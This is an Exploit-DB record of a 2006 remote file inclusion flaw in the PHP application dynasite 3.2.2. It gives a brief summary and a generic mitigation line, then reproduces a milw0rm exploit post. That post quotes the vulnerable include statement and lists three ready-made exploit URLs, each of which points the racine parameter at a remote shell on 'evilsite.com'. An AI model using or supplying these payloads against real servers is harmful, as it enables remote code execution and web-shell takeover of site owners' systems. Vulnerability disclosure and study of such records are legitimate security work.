dynasite3.2.2 Remote File Inclusion Vulnerability

vendor:

dynasite

by:

Dr.Pantagon (rezayavari2006@yahoo.com)

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: dynasite

Affected Version From: dynasite3.2.2

Affected Version To: dynasite3.2.2

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2006

dynasite3.2.2 Remote File Inclusion Vulnerability

The dynasite3.2.2 application is vulnerable to remote file inclusion. An attacker can exploit this vulnerability by including a malicious file from a remote server, leading to arbitrary code execution.

Mitigation:

Upgrade to a patched version or apply a fix provided by the vendor.

Source

Exploit-DB raw data:

**********************************************************************************************************
                                                    WwW.Deltahacking.NeT
                                                
**********************************************************************************************************

* dynasite3.2.2

* Class = Remote File Inclusion ;
 
* Download = http://jaist.dl.sourceforge.net:80/sourceforge/phpdynasite/dynasite3.2.2.tar.gz

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code

     include($racine."connection.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/function_log.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/function_balise_url.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/connection.php?racine=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  Dr.Torojan

**************************************************************************************************************

# milw0rm.com [2006-11-04]